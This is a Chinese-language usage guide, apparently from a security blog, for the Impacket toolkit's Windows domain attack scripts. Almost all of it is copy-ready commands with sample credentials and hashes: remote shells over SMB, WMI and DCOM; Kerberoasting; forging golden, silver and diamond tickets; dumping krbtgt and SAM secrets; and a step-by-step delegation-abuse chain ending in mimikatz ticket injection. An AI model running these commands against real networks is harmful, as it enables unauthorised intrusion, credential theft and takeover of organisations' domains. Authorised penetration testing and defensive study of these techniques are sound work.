Impacket脚本利用指南(上)
字数 2322 2025-08-26 22:11:51
Impacket脚本利用指南
1. Impacket概述
Impacket是一个处理各种网络协议的Python类库,提供对数据包的底层编程,并为某些协议提供对应的协议实现。它不仅包含示例脚本,还提供了强大的协议处理能力。
2. 远程执行脚本
2.1 psexec.py
- 功能:使用RemComSvc实现PSEXEC功能
- 认证方式:密码、hash、Kerberos
- 常用命令:
# 交互式Shell py -3 psexec.py test/administrator:1qaz@WSX@192.168.40.156 # 执行单命令 py -3 psexec.py test/administrator:1qaz@WSX@192.168.40.156 whoami # 上传文件并执行 py -3 psexec.py test/administrator@192.168.40.156 "/c 1+1" -remote-binary-name test.exe -codec 936 -path c:\windows\temp\ -c p.exe -hashes :161cff084477fe596a5db81874498a24 - 常用选项:
-port:指定目标SMB端口-codec:设置目标回显编码-service-name:指定创建服务名称-remote-binary-name:指定上传文件名称
2.2 smbexec.py
- 功能:类似PSEXEC但不使用RemComSvc,使用本地SMB Server接收结果
- 常用命令:
py -3 smbexec.py test/administrator:1qaz@WSX@192.168.40.156 - 常用选项:
-share:设置回显共享路径(默认C$)-mode:设置SHARE或SERVER回显-shell-type:设置返回Shell类型(cmd/powershell)
2.3 atexec.py
- 功能:通过MS-TSCH协议控制计划任务执行命令
- 常用命令:
py -3 atexec.py test/administrator:1qaz@WSX@192.168.40.156 whoami - 常用选项:
-session-id:使用登录的SESSION运行(无回显)-silentcommand:不运行cmd.exe直接运行命令
2.4 wmiexec.py
- 功能:通过WMI实现半交互式Shell
- 常用命令:
py -3 wmiexec.py test/administrator:1qaz@WSX@192.168.40.156 - 常用选项:
-share:设置连接共享路径(默认ADMIN$)-nooutput:不获取输出-silentcommand:不运行cmd.exe直接运行命令-shell-type:设置返回Shell类型
2.5 dcomexec.py
- 功能:类似wmiexec.py但使用DCOM接口
- 常用命令:
py -3 dcomexec.py -object MMC20 test.com/administrator:1qaz@WSX@192.168.40.156 - 常用选项:
-object:设置RCE利用类型(ShellWindows/ShellBrowserWindow/MMC20)-com-version:设置DCOM版本
3. Kerberos协议脚本
3.1 GetTGT.py
- 功能:请求TGT并保存为ccache格式
- 常用命令:
py -3 GetTGT.py test/administrator:1qaz@WSX -dc-ip 192.168.40.156
3.2 GetST.py
- 功能:请求服务票据并保存为ccache格式
- 常用命令:
py -3 GetST.py test/administrator:1qaz@WSX -dc-ip 192.168.40.156 -spn cifs/AD01.test.com - 常用选项:
-impersonate:模拟指定用户权限-additional-ticket:在S4U2Proxy中添加可转发服务票据-force-forwardable:强制忽略校验票据是否可转发
3.3 GetPac.py
- 功能:请求经过身份验证的PAC
- 常用命令:
py -3 getPac.py test.com/administrator:1qaz@WSX -targetUser test
3.4 GetUserSPNs.py
- 功能:找出与普通用户关联的SPN
- 常用命令:
py -3 GetUserSPNs.py test.com/administrator:1qaz@WSX -target-domain test.com - 常用选项:
-request:请求所有用户SPN的TGS-request-user:请求指定用户的TGS-usersfile:请求文件内所有用户的TGS
3.5 GetNPUsers.py
- 功能:列出不需要Kerberos预认证的用户
- 常用命令:
py -3 GetNPUsers.py test.com/test:1qaz@WSX - 常用选项:
-request:请求不需要预认证用户的TGT-format:设置AS_REQ爆破格式(hashcat/john)-usersfile:请求文件内所有用户的TGT
3.6 rbcd.py
- 功能:处理msDS-AllowedToActOnBehalfOfOtherIdentity属性
- 常用命令:
py -3 rbcd.py -delegate-to WIN-7$ -delegate-from test_computer$ -dc-ip 192.168.40.140 test/test:1qaz@WSX -action write - 常用选项:
-action:选择操作(read/write/remove/flush)-use-ldaps:使用LDAPS协议
3.7 ticketConverter.py
- 功能:在kirbi和ccache文件间转换
- 常用命令:
py -3 ticketConverter.py administrator.ccache administrator.kirbi
3.8 ticketer.py
- 功能:创建金/银票据
- 常用命令:
# 银票伪造 py -3 ticketer.py -spn cifs/win-7 -domain-sid S-1-5-21-2799988422-2257142125-1453840996 -domain test.com -nthash 96dd976cc094ca1ddb2f06476fb61eb6 qqq # 金票伪造 py -3 ticketer.py -domain-sid S-1-5-21-2799988422-2257142125-1453840996 -domain test.com -nthash 96dd976cc094ca1ddb2f06476fb61eb6 qqq # 钻石票据伪造 py -3 ticketer.py -request -domain test.com -domain-sid S-1-5-21-2799988422-2257142125-1453840996 -user administrator -password 1qaz@WSX -aesKey 245a674a434726c081385a3e2b33b62397e9b5fd7d02a613212c7407b9f13b41 -user-id 1500 -groups 12,513,518,519,520 qqq - 常用选项:
-spn:银票用,指定服务SPN-request:钻石票据伪造-aesKey:krbtgt的AES密钥-nthash:krbtgt的NTLM hash-user-id:伪造PAC的用户权限ID-groups:伪造PAC的组权限ID
3.9 raiseChild.py
- 功能:通过金票据和ExtraSids实现子域到域森林提权
- 常用命令:
py -3 raiseChild.py childDomain.net/adminuser:mypwd
4. Windows密码相关脚本
4.1 secretsdump.py
- 功能:远程dump密码
- 常用命令:
# 基于NTLM认证导出 py -3 secretsdump.py -hashes 5f8506740ed68996ffd4e5cf80cb5174:5f8506740ed68996ffd4e5cf80cb5174 "domain/DC\$@DCIP" -just-dc-user krbtgt # 基于Kerberos票据导出 export KRB5CCNAME=ad01.ccache py -3 secretsdump.py -k -no-pass AD01.test.com -dc-ip 192.168.111.146 -target-ip 192.168.111.146 -just-dc-user krbtgt # 本地解密SAM py -3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL - 常用选项:
-system:指定SYSTEM文件-security:指定SECURITY文件-sam:指定SAM文件-ntds:指定NTDS.DIT文件-use-vss:使用vss卷影替代DRSUAPI-exec-method:vss卷影导出时执行命令的方法
4.2 mimikatz.py
- 功能:控制远程mimikatz RPC服务器
- 前置条件:目标机器上已执行
mimikatz # rpc::server - 常用命令:
py -3 mimikatz.py test.com/administrator:1qaz@WSX@192.168.40.158
5. 通用选项
5.1 认证方式
- Hash认证:
py -3 xxx.py domain/user@ip -hashes :161cff084477fe596a5db81874498a24 - Kerberos认证:
export KRB5CCNAME=ad01.ccache py -3 xxx.py -k -no-pass
5.2 其他通用选项
-target-ip:指定目标IP-dc-ip:指定域控IP
6. 实用技巧
6.1 rbcd利用实例
- 添加computer账户:
py -3 addcomputer.py test.com/test:1qaz@WSX -computer-name test_computer$ -computer-pass 1qaz@WSX - 设置msDS-AllowedToActOnBehalfOfOtherIdentity属性:
py -3 rbcd.py -delegate-to WIN-7$ -delegate-from test_computer$ -dc-ip 192.168.40.140 test/test:1qaz@WSX -action write - 获取administrator的cifs服务票据:
py -3 getST.py -spn 'cifs/WIN-7' -impersonate administrator -dc-ip 192.168.40.140 'test/test_computer$:1qaz@WSX' - 转换票据格式并注入:
py -3 ticketConverter.py administrator.ccache administrator.kirbi mimikatz # kerberos::ptt C:\Python38\Scripts\administrator.kirbi
6.2 无MAQ时的利用方式
- 请求TGT:
getTGT.py -hashes :$(pypykatz crypto nt 'password') test/test - 修改Session Key:
describeTicket.py 'TGT.ccache' | grep 'Ticket Session Key' smbpasswd.py -newhashes :TGTSessionKey test/test:'password'@'dc01' - 模拟用户:
KRBR5CCNAME='TGT.ccache' getST.py -u2u -impersonate Administrator -k -no-pass test/test - 还原hash:
smbpasswd.py -hashes :TGTSessionKey -newhashes :OldNTHash test/test@'dc01'